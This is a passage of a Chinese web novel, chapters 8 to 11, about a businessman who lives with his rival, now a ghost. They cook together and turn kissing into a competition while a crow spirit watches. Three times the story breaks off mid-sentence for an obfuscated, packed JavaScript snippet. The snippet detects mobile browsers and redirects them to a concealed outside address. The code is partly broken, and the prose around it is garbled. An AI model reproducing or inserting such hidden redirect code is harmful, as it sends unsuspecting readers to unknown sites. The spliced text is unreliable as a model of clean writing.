最起码,钟秦淮的睡品还是不错的,躺下之后,基本就保持着他那个睡美人姿势一动不动,不会翻身打扰到他,也没有其他恶习。
安安静静的。
就连他身上飘过来的、属于鬼的那抹微微的凉意,对柳相宜这个极阳体质的人来说也正好,能稍稍抚平内心的那股燥热。
只要忽略掉钟秦淮那么一大只造成的强烈存在感就好。
柳相宜闭目养神了会儿,正要迷迷糊糊地睡过去,旁边蓦地飘来一道幽幽的声音:
“今天不偷亲吗?”
柳相宜:“?”
想起刚才他嘱咐钟秦淮伤口不要沾水时,钟秦淮是怎么回答的,柳相宜也便用同样的话反击道:
“钟总,我也是看心情的。”
钟秦淮:“……”
钟秦淮在黑暗中等了会儿,直到旁边传来清浅均匀的呼吸声,确认柳相宜睡着了之后,他抬起了那只没受伤的手。
手指在半空中虚虚晃了一圈,跟召唤什么似的,下一秒,几丝黑雾便从他的指尖飘出来。
指尖往旁边一指,那几丝黑雾就悄无声息地飘了过去,落在柳相宜那只被尖锐的石头擦过的手掌上。
黑雾钻进柳相宜手掌的瞬间,手掌上那几道浅浅的红痕连带着方才涂抹的药水,刹那间消失得无影无踪。
第二天周六不上班,柳相宜就没定闹钟,没想到一觉睡到接近中午。
主卧里窗帘紧闭,还是一片昏暗,柳相宜转头一看,钟秦淮还躺在旁边闭眼沉睡。
柳相宜悄然坐起,掀开被子正准备起身,突然意识到什么,低头看了一眼自己的手掌。
柳相宜:“?”
居然一夜之间就好了?
他翻来覆去地看了几遍:
不是错觉!
手掌上的红痕居然消失了!
那药这么灵吗?
他又回头看了一眼,钟秦淮双手交叠在腹部,昨晚包扎好的白色纱布渗出了丝丝血迹。
柳相宜:“?”
也许钟秦淮的手掌伤得比他严重,柳相宜没多想,起床离开。
回到自己的房间时,就接到了张若澜的电话,说他不准备冥婚了。
“柳总你不知道有多邪门!自从那次上山被一群乌鸦围攻之后,每天晚上都有乌鸦飞到我床头,大半夜的,那嘎嘎的怪叫声把我吓醒了好几次。”
“我算是明白了,大概是钟秦淮显灵了,他不愿意跟我冥婚。”
张若澜叹了一口气:
“这也正常,他生前就对我特别高冷,死了更是不会答应跟我冥婚的。”
张若澜顿了顿,自嘲一笑:
“说到这不怕柳总笑话,我以前还一直把你当情敌来着。”
柳相宜:“?”
张若澜又解释道:
“钟秦淮那个人你也知道的,对什么都不感兴趣的样子,但他对柳总不一样,他总喜欢盯着你,我们私底下都在说,他是不是暗恋你来着。”
柳相宜笑了。
这个暴论……
和“他暗恋钟秦淮”一样离谱。
毕竟昨晚钟秦淮还带他去看王宝钏挖野菜的地方,亲自劝他不要恋爱脑呢,怎么可能暗恋自己?
9. 第 9 章
“那小子不谈恋爱的。”
所以他不会喜欢谁。就算喜欢谁,那个人也不可能是他这个死对头。
柳相宜只当听个笑话。刚挂掉张若澜的电话,一连串的脚步声就在客厅外响起。吧嗒吧嗒的,走路的声音听起来不像是钟秦淮的。
他打开自家客厅门,走到那条过道一看,钟秦淮家的客厅里,走进来一个幼崽,个子小小的,两只手各拎着一个超大的袋子。
前面还反挂着一个背包。
后面又背着一个。
总之,除了露出小小的脑袋,他基本上被袋子包围。
柳相宜:“?”
幼崽:“……”
两人四目相对。
幼崽脚步一顿,视若无睹地走到冰箱前,把四个袋子放下来打开。
两袋萝卜。
两袋土豆。
这幼崽力气这么大的吗?
居然背得动四袋土豆萝卜?
大概是看出了柳相宜眼里的惊讶,幼崽骄傲地拍了拍小胸脯:
“窝、窝可不像你这么脆弱。”
柳相宜:“……”
他倚在旁边,见幼崽把袋子里的土豆萝卜一个个地放进冰箱,他大概明白了:
这应该是留给钟秦淮吃的。但钟家村的村长不是说钟秦淮的妈妈在生他之前就死了吗?
那这小孩是……
“是他弟弟吗?”
幼崽一听,简直倒反天罡!那双暖金色的眼睛登时瞪圆了,大声道:“窝、窝是他老祖宗!是他祖祖祖叔爷!”
柳相宜:“?”
也不管柳相宜听没听懂,幼崽说完,将一只土豆擦干净,熟门熟路地塞进冰箱里。
柳相宜蓦地想起学生时代,别的男生无肉不欢,只有钟秦淮例外,有次去晚了,没打到土豆萝卜,端着餐盘坐他对面的时候,神色郁郁的,跟他在那场挑食的较量上意外输掉了。
他问:“这些土豆萝卜哪来的?”
幼崽小胸脯挺得更直了!
“窝、窝买的!”
柳相宜又问:“怎么就买这些?”
幼崽像是想到了什么不好的事,嘴角又耷拉下去了:
“阿、阿淮小时候外婆死了,他还太小、不能经常下山,土、土豆和萝卜不容易坏,可以留好、好多天呢。”
“后、后来就吃习惯了。”
幼崽说得语焉不详,但结合柳相宜在钟家村了解到的身世,他也大概拼凑出原因了。
把冰箱全部塞满之后,幼崽心满意足地关上冰箱,然后蹭地一下,一团黑雾之后,幼崽不见了,取而代之的是一只小乌鸦,从黑雾中振翅飞走了。
柳相宜:“!”
顺着小乌鸦飞去的方向看去,钟秦淮这栋别墅的围墙里竟然长了一株榕树,柳相宜从来没见过这么粗壮的,枝繁叶茂,好似一朵巨大的绿色蘑菇云。
而在大榕树的枝叶间,藏着数百只乌鸦,一排排地挤在枝桠上,竖瞳闪着金色暗光,齐刷刷地盯着他。
柳相宜:“……”
一人与数百只乌鸦对视。
气氛一时静到诡异。
脑子里瞬间回想起张若澜被一群乌鸦围攻逃下山的那一幕,柳相宜顿时紧张了一瞬,生怕那些乌鸦也飞过来这样围攻他。
幸好小乌鸦们像是没有得到某种命令,便岿然不动似的,没有任何动作,也没有发出“嘎嘎”的怪叫。
柳相宜这才松了一口气,收回视线,把目光落在那个冰箱上。
他犹豫片刻,又仰头看了一眼二楼的主卧,打开冰箱,摸出一根萝卜、一个土豆走进厨房。
漆黑的主卧里,钟秦淮本在闭目养神,忽然楼下传来嘈杂的声音。
咚咚咚。
好像菜刀砍砧板上的声音。
劈里啪啦。
应该是热油炒菜的声音。
钟秦淮:“……”
等他施施然下楼时,正好撞见柳相宜端着一盘土豆萝卜饭出来。
他眉目间浮起一丝讶异。
在看清了柳相宜那盘饭是什么时,他嘴角漾起一丝弧度,调侃道:
“我以为像柳总这么日理万机的人,是不会把时间浪费在做饭这种小事上的。”
柳相宜把那盘土豆萝卜饭搁在餐桌上,微笑着怼回去了:“是不会,但谁叫我暗恋钟总呢?”
说完紧盯钟秦淮,看他的反应。
果然,钟秦淮听到后脚步微顿,整个人就跟机器因为信息突然过载死机了一秒似的。
很好。
成功反击了钟秦淮,柳相宜颇为得意,往沙发上一坐,翘起二郎腿,一副大佬坐姿,又挑眉补充道:
“钟总可不要误会,我这是基于你的手受伤了不能沾水,所以才帮你做这个饭的,完全没有半点恋爱脑的意思。”
然后,他就看到钟秦淮就跟电脑重启了一样,只一秒的瞬间,又恢复了往日那副散漫神态,走过来悠悠道:
“既然柳总半点恋爱脑都没有,那下次还会偷亲我吗?”
柳相宜:“……”
顿时心虚了一秒。
又垂眸看了一眼脖子上戴着的那块玉佩,还是通体鹅黄,意味着还需要吸入大量的阴气。
见柳相宜沉默,钟秦淮嘴角微弯,露出一丝似有若无的笑意:
“柳总怎么不说话?”
“是天生就不爱说话吗柳总?”
柳相宜:“……”
他不接这个话茬,昂了昂下巴,理不直气也壮地示意钟秦淮吃饭。
他花了半小时做的,要是这小子敢不吃,他就算塞也要硬塞进钟秦淮的嘴巴里。毕竟……他绝不会容忍自己的时间被白白浪费。
“柳总做了我就要吃吗?”
钟秦淮散漫地朝他走过来,走得近些了,忽然,他瞥见柳相宜抱臂的左手食指上起了两三个水泡。
像是被热油溅出来的。
在修长白皙的手指上格外明显,因此,他一眼就看到了。
钟秦淮顿了顿,坐在了餐桌旁,拿起勺子,慢悠悠地搅拌着餐盘里的土豆萝卜:
“柳总可不要误会,我这是基于不浪费粮食的原则才吃的,完全没有半点私情的意思。”
那得意的语气!
柳相宜呵了一声。
看吧,张若澜说什么来着?这阴阳怪气的态度像是暗恋他的样子吗?
吃完饭,钟秦淮把盘子收拾进厨房,瞥见料理台上,还搁着一盘土豆萝卜饭。
只不过土豆散发着一丝糊味。再看一眼垃圾桶,里边也倒了一份。
柳相宜:“……”
他理不直气也壮地走进厨房:“第一次下厨,第三次才成功也很合理吧?”
钟秦淮的视线又落在柳相宜起泡的食指上:“柳总下次叫上我会更合理。”
说完,视线又若无其事地移开,嘴角勾起,依旧用那副散漫的语气对柳相宜道:
“柳总也不想浪费时间的对吧?”
柳相宜:“?”
这小子什么意思?
是嫌弃他中午做的不好吃吗?
柳相宜低头看了一眼那个盘子,吃倒是又都吃完了。他一向不喜欢精神内耗,既然本就不擅长下厨,有人愿意指点,自然更省事。
晚上有了钟秦淮在一旁指点,这次做饭格外顺利。
他用勺子舀出一块土豆,本想放旁边的碗里给钟秦淮试吃,没想到他刚转身,斜倚在料理台上的钟秦淮就倾身过来了!
他歪头吃掉了那块土豆。
柳相宜:“……?”
钟秦淮一边嚼着,一边漫不经心地掀起眼皮,神色淡定地评价道:
“能再加点盐吗柳总?”
柳相宜:“……”
这小子都这么淡定了,他肯定也不能大惊小怪,不然显得他一副输不起的样子,于是也镇定地收回勺子,根据钟秦淮的反馈加盐。
最后出锅的时候,柳相宜自己也给自己盛了一盘。
土豆软软糯糯,混合着红萝卜的清甜。汤汁是金黄色的,散发着浓郁的蔬菜香气。
虽然食材简单,但拌着白米饭吃,意外得还不错。
而且,往常他和钟秦淮见面,总是不免要互怼嘲讽一番。
这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392254|168591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一次,他和钟秦淮两人,居然安安静静地,和平友好地坐在餐桌上一起吃饭,这要放在一个月之前是绝对无法想象的。
吃完饭,洗漱完,柳相宜就回自己的书房工作了,直到“笃笃笃”的敲门声,伴随着懒洋洋的声音一道响起:
“柳总不准备睡吗?”
柳相宜循声望去,钟秦淮斜倚在门边,正抱臂望着自己。
柳相宜:“?”
真是太阳打西边出来了!
这小子居然积极主动喊他一起睡?这不科学啊。
就在柳相宜还在思考钟秦淮反常的原因时,钟秦淮已经走进来了,斜靠在书桌上:
“鉴于柳总今天的表现,所以……”
柳相宜:“?”
他不明所以地抬头。
钟秦淮刚想说什么,目光忽地落在了那双薄唇上。
唇角上扬,即便没有在微笑,也给人一种隐约在笑的错觉,弧度恰到好处的漂亮。
颜色本就红润,灯光洒下来,给它覆盖上了一层朦胧的光晕。
“所以……”
钟秦淮鬼使神差地开口:
“……要亲吗?”
柳相宜(瞳孔地震):“??”
说完话的下一秒,钟秦淮就眨了下眼,仿佛忽然回过神来了似的,眸子里又恢复了那副淡定的神色。
只眨眼的功夫,快得让柳相宜差点以为自己幻听了。
钟秦淮嘴角勾起,朝柳相宜露出一个挑衅的笑意:
“怎么,柳总不敢啊?”
柳相宜:“!”
他就知道!
这小子怎么可能突然转性?
这么反常,肯定是又准备作妖了,不过钟秦淮大概想不到吧?他正愁没借口吸阴气呢。
因此,对于钟秦淮的挑战,柳相宜毫不犹豫地接受了。
“敢啊!”
“我正求之不得呢,毕竟……”
“啪”地一声,柳相宜把电脑合上,站起来,微微一笑:
“我可是暗恋钟总啊对吧?”
话音刚落,柳相宜再次满意地看到钟秦淮的表情又一瞬的微妙。
他在心里快要笑死了。
不自在了吧?
尴尬了吧?
也是。
毕竟是死对头,每天对着他说这些,心里指不定怎么别扭呢。
柳相宜正得意时,忽地发现钟秦淮正直勾勾地盯着自己。
那双黑漆漆的瞳仁盯人的时候,宛如两颗毫无生机的黑色琉璃珠,有种诡异的非人感。
被这么一双眼睛眼也不眨地一直盯着,这回轮到柳相宜不自在了。
他下意识想逃避,但转念一想:这样不就在这小子面前示弱了吗?
不行。
他揪住钟秦淮衣领。
闭眼亲了过去。
柳相宜洗过澡,身上残留着的沐浴露香气扑面而来,明明很浅淡,却让钟秦淮有一瞬间的眩晕。
与此同时,双唇骤然贴在一起。
触感柔柔软软的。
钟秦淮闭着眼睛,像往常那两次一样静静贴了会儿,但这次不一样,有一股莫名的难耐逐渐从心底泛起。
这种感觉很新奇,很陌生。
像有只蚂蚁在心底爬过,丝丝痒意从心底逐渐扩散到身体各个部位。
钟秦淮忍不住动了。
轻轻含住了柳相宜的上唇。
柳相宜瞬间察觉到了,想也没想就往后退了一步。
意识到自己反应大了,好像玩不起一样,在钟秦淮即将睁眼的时候,他又重新贴了回去。
甚至还报复性地在钟秦淮的唇上咬了一口,以此表示:
看吧!我不仅没有退缩,反而还变本加厉了!这个“胆小鬼”游戏你还敢继续吗?
钟秦淮轻笑一声,笑声低低的,听得柳相宜莫名耳热。
随后,他就被咬回来了!
柳相宜自然不肯吃亏,对着钟秦淮的唇又咬又啃。
两人气息交缠,属于柳相宜身上的淡香,和来自钟秦淮身上那股微微的凉意逐渐交融在了一起。
10. 第 10 章
直到后背一片凉意,柳相宜后知后觉自己被按在了冰凉的墙上。
与此同时“吧嗒”一声,后背撞到墙上的开关,误打误撞地把灯给关了,书房瞬间一片黑暗。
两道紊乱的呼吸声从黑暗里逐渐响起,此起彼伏,但又都在故意克制,好似谁声音大谁就输了似的。
但即便刻意压制,那两道喘息仍旧持续不断地在漆黑的书房里回荡,交织在一起,谁也分不清谁的声音更大些,谁的更小些。
喘息声在暗中较量。
两人的唇也是,对着彼此又啃又咬又吮的,毫无章法,但你争我夺。总之,把那股绝不服输的劲儿全都发泄在对方的唇上。
但柳相宜还残存了一丝理智,隐隐约约意识到这发展好像哪里不对劲。
他想结束这场莫名其妙的较量。
最后!
就最后咬一口回去!
他咬在钟秦淮的唇上,咬完就要撤,就在这时,钟秦淮的舌尖趁机钻了进去。
柳相宜:“!”
自己的还被钟秦淮的舌尖卷住了。
柳相宜:“!!”
好好好。
这么玩是吧?
玩这么大是吧?
既然舌尖被钟秦淮卷住,柳相宜便不甘示弱地卷了回去。
下一秒肩膀就猛地一疼。
钟秦淮用力地按在他的肩膀上,舌也用力地回吮住他的。
湿热的两尾舌尖纠缠着彼此不放,比谁卷得更紧,吮得更狠,吞吃得更深,像两尾濒临死亡的鱼,在抢夺最后一口空气似的。
此时,较量已经上头,理智早就出走,只剩下一定要逼到对方认输的那口气,但两人谁都不肯先认输,于是这个吻也隐隐逐渐激烈。
湿哒哒的缠吻声,是舌与舌缠在一起发出来的;黏糊糊的水声,是互相吮吸舌尖时溢出来的;较量到最后,吻得越来越深入,亲出来的声音也越来越大,啧啧啧的,激吻声在书房里回荡。
快要窒息了!
柳相宜抬手揪住钟秦淮的头发,另一只手用力推他,钟秦淮这才恋恋不舍地从他嘴里退出来。
像强行结束时产生了某种戒断反应,难以忍受似的,他眼睛仍旧闭着,还在蹭着柳相宜的鼻尖。
一下一下的。
仿佛这一点点的接触,能稍微安抚他某种焦躁似的。
柳相宜无暇顾及钟秦淮这个细微的小动作,他在努力地喘气。
刚才这小子亲得太深了,深到他差点呼吸不过来。
不过柳相宜也听见了钟秦淮的呼吸声,和他一样很不平稳。
他顿时又心理平衡了。
这场较量太过激烈了!激烈到直到十分钟以后,柳相宜的身体、呼吸和心绪才终于平复了下来。
他缓缓睁开眼一看,钟秦淮眼睛仍旧闭着,似乎还沉浸在某种激荡的情绪里。他呼吸凌乱,导致垂下来的睫毛也跟着微微轻颤。
很好。
看来在刚才的较量中,不说他赢了吧,最起码也没输。
柳相宜那双柳叶眼得意弯起:
“钟总,比赛结束了。”
这句话仿佛某种魔咒,柳相宜话音刚落,钟秦淮就瞬间睁开了眼。
他的表情隐没在黑暗中,让人难以看清。柳相宜只能隐约感觉到他正在一言不发地盯着自己。
这是恼羞成怒了?
可刚才的较量两个人都参与了的,也不能怪他吧?
刚才玩得太过火,此刻冷静下来后,柳相宜才发现自己和钟秦淮现在的姿势实在过于暧昧了。
他仍被钟秦淮困在身体和墙壁之间,两人的脸挨得极近,近到鼻尖几乎蹭在了一起。
柳相宜不自在地别开脸,正要推开他,竟然推不动!
钟秦淮仍旧堵在他面前,像一堵坚固而冰凉的墙,随后,他的声音在黑暗中响起,冷幽幽的:
“柳总,这比赛还没分出胜负来吧?怎么就结束了?”
两人本就挨得近,钟秦淮说话和呼吸间,那股微微的凉意,如薄雾般飘过来,将柳相宜一点点笼罩。
他更不自在了,“吧嗒”一声,柳相宜抬手按了下墙上的开关。
灯光亮起,瞬间将方才黑暗里浮动的暧昧一扫而光。
昏黄的光线洒在钟秦淮那张侧脸上,此时的他,脸上又恢复了往常那副散漫的神态。
他若无其事地往后退了一步,斜倚在旁边的书桌前,懒洋洋地说道:
“所以柳总喊停,是认输的意思吗?”
柳相宜:“?”
听这小子的意思是还想继续?
他俩可是死对头啊,这合理吗?
柳相宜狐疑地打量他:
“钟总不觉得以咱俩的关系,搞这种较量有点太超过了吗?”
柳相宜背对着阳台,没留意说话的当儿,小乌鸦遥遥飞过来了。
悄无声息地落在书房外的阳台上,金色竖瞳正疑惑地望过来。
钟秦淮瞥了小乌鸦一眼,又若无其事地把视线转过来,重新落在柳相宜的脸上,接着云淡风轻地回道:
“只是较量而已,柳总很在意?”
柳相宜:“……”
听钟秦淮的意思,他完全没把刚才发生的当作接吻,也丝毫没有暧昧的意思,就是纯属一场较量。
就跟小时候跟他比谁操场跑得快,谁分数高一样。
虽然这听起来很离谱,但放在钟秦淮身上,还是从小到大,无论什么事都要跟他比,为了赢甚至能飙出悬崖的钟秦淮身上,柳相宜又觉得合理了起来。
巧的是,他也是这样想的。
只是没想到这小子为了赢,竟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392255|168591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然连他这个死对头都能亲得下去。
既然这么没有节操……
他垂眸看了一眼脖子上戴着的那块玉,通体黄色中竟然泛起了一点白……
是因为刚才那场较量么?
于是柳相宜微笑回答:
“谁说我要认输了?只是中场休息而已,下次继续。”
钟秦淮闻言,没有说话,只是嘴角微弯,似是在笑。
他要是像往常一样怼回来也就算了,现在笑得这么古怪,反而让柳相宜生出一股微妙的不安感。
感觉气氛都不对了。
再待下去,更不自在。
柳相宜转身就走。
他刚一离开,小乌鸦就飞了进来,落在钟秦淮肩上。
它听得一头雾水,但不妨碍它视力极好,方才在庭院的榕树上,就看到这两人在黑漆漆的书房里亲了!
还亲了很久!
亲到它掏出小本本,认真钻研这符不符合外婆说的第二条。得出结论之后,便赶忙飞过来了。
“阿淮,你亲、亲了!”
小乌鸦踩了踩钟秦淮的肩:
“你外婆嗦不能谈、谈恋爱的!”
钟秦淮眉间掠过一丝迟疑:
“亲了就是谈恋爱了吗?”
他懒散地斜倚在书桌前,手指有一搭没一搭地轻敲着,那双黑漆漆的眸子里若有所思,随即悠悠开腔道:
“情侣之间亲了才算……”
想到刚才书房里发生的,他的嘴角不自知地漾起一丝弧度:
“我跟这位柳总……较量而已。”
小乌鸦:“?”
它歪了歪头,一瞬间脑子里闪过很多两人较量的画面。
太多了!
阿淮什么都要跟他比。
小时候连那个人类摔跤把额头磕出淤青了也要比。
但阿淮因为鬼胎的缘故,自小就有自愈能力,怎么摔也摔不出淤青,就偷摸摸地用鬼气把那个人类的淤青给治愈了。
阿淮说这样他就不算输了。
那么问题来了……
小乌鸦忧心忡忡地问:
“阿淮都没跟人亲、亲过,如果这次较量是比这个的话,那阿淮赢、赢了么?”
钟秦淮:“……”
小乌鸦问完,许久没等来他的回复,它疑惑地歪头一看:
咦?
阿淮的眼睛和嘴角都在笑哦。
看起来心情超级好!
那肯定是赢了!
从来没见阿淮这么开心过,小乌鸦觉得新奇,歪着脑袋还在瞧。
忽然“吧嗒”一声,钟秦淮把客房的灯关了,黑暗中,小乌鸦再也瞧不到他的表情了。
只能听见他漫不经心的笑意,伴随着离开书房的脚步声一同响起:
“下次一定。”
11. 第 11 章
离开书房后,柳相宜先去洗了把脸冷静冷静,之后下意识往自己的卧室走去,走到一半脚步突然顿住。
要是突然跑回自己卧室睡,他都能想象得到钟秦淮会怎么嘲笑他了。
绝不能在那小子面前露怯!
柳相宜脚步又折回去,在那个棺材里躺下,然后……闭眼装睡。
这样待会儿就不会尴尬了。
天才!
柳相宜闭目养神了会儿,之后,棺材里的另一边床垫微微陷进去了。
柳相宜:“……”
鬼走路都是没声的吗?
钟秦淮躺下后,一股微微的凉意,混合着沐浴露的香气和水汽,一齐朝柳相宜飘了过来。
柳相宜:“?”
没记错的话,这小子来书房找他的时候,头发就是湿漉漉的,看样子就是洗过了,怎么又洗?
紧接着,床垫发出微微的响声。
是钟秦淮翻身了。
之后,柳相宜就感觉到了黑暗中,一道幽幽的视线在盯着自己。
柳相宜:“?”
这小子前几个晚上睡觉都很老实的,基本上能保持一个睡姿一动不动,今天晚上怎么这么反常?
但旁边那道视线强烈得让柳相宜难以忽视,柳相宜闭眼装睡了会儿,见他还在盯着自己,正想着要不要出声提醒他时,床垫微动的声音再次传来。
这回,钟秦淮终于转过身去了。
柳相宜暗自松了一口气,然后不久之后,床垫又再次发出细微声响。
钟秦淮又转过身来盯他了。
柳相宜:“……”
这么辗转反侧的,所以今晚书房那场较量,并没有这小子看上去那么云淡风轻是吧?
很好。
谁叫他非要误会自己暗恋他呢?
睡不着了吧?
如坐针毡如芒刺背如鲠在喉了吧?
柳相宜闭着眼,唇角微微翘起。
第二天,柳相宜起床下楼,钟秦淮已经早起了,坐在客厅角落的懒人沙发上,正捧着一本书看。
柳相宜还特意扫了一眼:
钟秦淮恢复正常了,没昨晚那么反常,脸上仍是那副云淡风轻的表情。
柳相宜微微一笑,状似无意地开口道:“钟总,我看你今天精神不振的样子,是昨晚没睡好吗?”
谁知这小子不仅坦然承认:
“是没睡好。”
还神色自然地悠悠道:
“一直在想下次较量怎么赢回来。”
柳相宜:“?”
见柳相宜沉默,钟秦淮放下手中的书,对他轻轻挑眉一笑:
“柳总昨晚自己说的不会就忘记了吧?说中场休息,下次继续……”
说到这,他甚至催促了起来:“所以柳总休息好了吗?什么时候继续?”
柳相宜:“……”
这小子光天化日之下,是怎么脸色不变地说出这种羞耻的话来的?
虽然继续是要继续的,毕竟他还需要吸阴气,但就算是继续,那也不能大白天较量吧?
柳相宜轻咳一声,又想起要不是昨晚他装睡,还不知道这小子表面云淡风轻,实则内心早已抓狂了呢。
垃圾袋都没他能装!
不就打嘴炮么,谁不会!
柳相宜不甘示弱地微笑回怼:
“我这么暗恋钟总,下次一定。”
即便他已经说过这句话很多次了,但这句魔法攻击,仍旧超级有效!每次钟秦淮听到后,表情都古古怪怪的。
自觉扳回了一城,柳相宜表示满意,又照旧给钟秦淮换药。
把原先的纱布拆下来一看,手掌上深深的伤口似乎一点也不见好。
仍旧皮肉外翻,还在渗血。
柳相宜眉毛拧起。
钟秦淮坐在懒人沙发上,没受伤的那只手托着下巴,垂眸望着柳相宜在给自己重新上药。
柳相宜的指尖偶尔会触碰到他的手指,带着一丝清早微风的凉意,像轻盈的羽毛拂过他的手心。
每拂过一次,钟秦淮的嘴角就不自觉地上扬一点点,神色放松,一副颇为享受的样子。
等包扎好了,柳相宜抽回手时,钟秦淮的手指不由在主地跟着动了动,似乎想要在空中抓取什么东西似的。
两人的指尖只在半空中短暂地碰了一下,然后柳相宜的抬起,钟秦淮的落下。
这个接触太过短暂和细微,柳相宜没有留意,他把手抽离之后,站起来,说带钟秦淮出门吃饭。
他上网查过,手掌受伤,总吃萝卜土豆不行,得吃点高蛋白的补补才好得快,人是这样,应该鬼也一样吧?
“所以钟总愿意赏光吗?”
钟秦淮仍垂着眸子,望着自己的手指,鬼使神差地摩挲了几下,像陷入了某种怅然的幻境里。
直到柳相宜又问了一遍,他才回过神来,转头看了一眼窗外。
阳光穿过层层树叶洒下来,躲藏在榕树里的乌鸦们都被晒得躁动不安,纷纷扇着小翅膀,像是在给自己扇风降温。
钟秦淮把视线从窗外又重新落回在柳相宜脸上,懒洋洋道:
“白天天气不好,不宜出门。”
柳相宜:“?”
晴空万里的怎么就天气不好了?
柳相宜蓦地想到一些民间传说,都说鬼怕晒太阳,不能在有太阳的时候出门,他抱臂微笑道:
“所以尊贵的钟总,要什么样的天气您才愿意赏光出门跟我吃个饭呢?”
钟秦淮回答:
“尊贵的钟总今晚就可以。”
柳相宜:“……”
看来应该是了。
之后柳相宜就回书房里办公去了,直到夜幕降临,走出书房时他还在想:
刚才办公的时候,钟秦淮没来打扰,安安静静的。这样互不打扰的同居生活……好像也挺和谐?
等走出书房一看,钟秦淮仍旧窝在懒人沙发上看书。柳相宜走过去定睛一看书名:《让你的对手跪地唱征服的108种小技巧》。
柳相宜:“……”
话说早了。
一小时后,一辆黄色宾利停在一家私人会所的门口,柳相宜将钥匙抛给门口的泊车小童便进了门。
刚一进去,从门后蹿出一个黄毛青年,就要凑过去亲柳相宜的脸。
柳相宜猝不及防,眼看就要被亲到,突然,一股猛烈的阴风从门外灌了起来,会所大堂里的人全都被吹得东倒西歪,那个黄毛青年更是直接被吹得飞起,撞到墙上又掉下来。
柳相宜:“……”
门后还有七八个,柳相宜扫了一眼,他大概认得一些,全是柳城上流豪门圈的公子哥们。
阴风过后,他们终于站稳了身体,看清楚了来人,立刻七嘴八舌地跟柳相宜解释和道歉。
“不好意思柳总,我们在过生日,玩了个真心话大冒险,刚才他游戏输了,我们就让他守在门口,对第十个进来的人亲一口,不是故意冒犯啊。”
说话间,那个被风吹飞的人摇摇晃晃地站起来,往门口一看,顿时怔住。
门口立着一个青年,身姿修长挺拔,戴着一副墨镜,墨镜很大,将他上半张脸堪堪遮住,只露出一点精巧的、白皙的下巴。
“柳总!”
黄毛青年眼前一亮,立刻朝柳相宜奔过去,还没走到跟前,门口又灌进一股阴风,年轻男孩又被吹飞。
“砰”地一声,这回竟然直接吹出了大堂的后门,后门也咣当一声关上了,将黄毛青年直接关在了门外。
柳相宜:“……”
大堂所有人:“……”
顿时大堂里议论纷纷,都在惊讶这怪异的一幕,柳相宜自然知道这股阴风哪来的,怕再生事端,他抬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392256|168591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脚往包厢走去。
会所老板听闻大堂的动静,也赶紧奔过来了,在过道上追上柳相宜,跟在他旁边,脸上堆满了笑意:
“不知道柳总您几位?”
柳相宜脚步顿了下,微笑回答:
“两位。”
会所老板环顾四周,只看到柳相宜一个人进来,虽然觉得疑惑,但也没多问,连忙叫服务员把预定的菜端上来。
柳相宜在包厢里里坐下,看了一眼对面的钟秦淮,他明明也坐在这个包厢里,然而老板和服务员全都看不见他似的,碗筷也只给他一个人摆。
所以只有他一个人看得见吗?
为了验证这一点,柳相宜叫服务员在对面也摆上一副碗筷。
服务员看了一眼柳相宜对面,空无一人,她迟疑了一下,还是摆了一副。但她不知道那副碗筷已经摆歪了,摆在了钟秦淮的旁边。
柳相宜这才确定,除了他,其他人是真的看不见钟秦淮这只鬼。
上完菜,老板和服务员都离开后,包厢里就剩下一人一鬼。
柳相宜看了一眼桌子上一盘盘海鲜,又瞥了一眼钟秦淮那只还包扎的手,他犹豫片刻,戴上手套,开始剥虾。一边剥一边微笑道:
“钟总刚才是不是有点不太礼貌?”
钟秦淮托着下巴,哦了一声:
“确实是我不礼貌了,说不定柳总就喜欢被人亲呢是吧?”
柳相宜:“?”
钟秦淮又凉凉道:
“怪我不懂事,坏了柳总的好事,柳总既然这么有礼貌有素质有涵养,应该不会跟我一般见识吧?”
柳相宜:“……”
算了,还是剥虾吧。
另一边,方才玩真心话大冒险的那个黄毛青年走到包厢门口。
他深吸一口气,敲了敲门。
没听见回应。
他问过老板了,柳相宜就在这个包厢里,虽然说是两个人,但老板说目前就他一个人在包厢。
这可是难得的机会!
黄毛青年见敲门没有回应,于是想推门进去,谁知推了一下竟岿然不动。
黄毛青年:“?”
再推。
就跟鬼打墙一样。
怎么推都推不开。
他用力砸了一下门。
“砰”地一声巨响,在走廊里响起,但那扇门仍旧岿然不动。
包厢里甚至连一丁点儿响都听不见,一派岁月静好的样子。
钟秦淮像是察觉到了什么,转头瞥了一眼那扇门,微微蹙了下眉,像是看到了什么脏东西似的。
柳相宜也顺着他的视线抬头看了一眼门,没什么异样。
“怎么了?”他问。
钟秦淮的目光转回到柳相宜身上,托着下巴挑眉道:
“没什么,有只蚊子。”
柳相宜:“?”
柳相宜没说话,继续剥虾。
